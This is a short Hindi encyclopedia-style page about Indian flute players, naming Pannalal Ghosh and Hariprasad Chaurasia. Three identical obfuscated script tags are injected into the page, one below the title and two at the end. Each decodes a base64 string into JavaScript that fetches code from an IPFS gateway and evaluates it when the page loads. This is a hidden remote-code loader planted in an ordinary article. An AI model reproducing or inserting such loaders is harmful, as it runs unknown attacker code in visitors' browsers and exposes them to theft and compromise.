बाँसुरी वादक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
बाँसुरी वादक भारतीय वाद्यों में से एक बाँसुरी बजाने वाले को कहा जाता है। बाँसुरी और भगवान श्रीकृष्ण एक-दूसरे के पर्याय रहे हैं। सम्पूर्ण विश्व में आज कई प्रकार की बाँसुरियों का प्रयोग किया जाता है।
- बाँसुरी वादक पंडित पन्नालाल घोष ने अपने अथक परिश्रम से बाँसुरी वाद्य में अनेक परिवर्तन करके बाँसुरी को भारतीय संगीत में सम्माननीय स्थान दिलाया है।
- हरिप्रसाद चौरसिया बाँसुरी वादक के रूप में काफ़ी ख्याति अर्जित कर चुके हैं।
- आधुनिक काल में गायन, वादन तथा नृत्य की संगति में बाँसुरी का प्रयोग भी किया जाने लगा है।
- भारत के प्रसिद्ध बाँसुरी वादकों के नाम निम्नलिखित हैं-
- सुमंत राज
- हरिप्रसाद चौरसिया
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
वर्णमाला क्रमानुसार लेख खोज
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>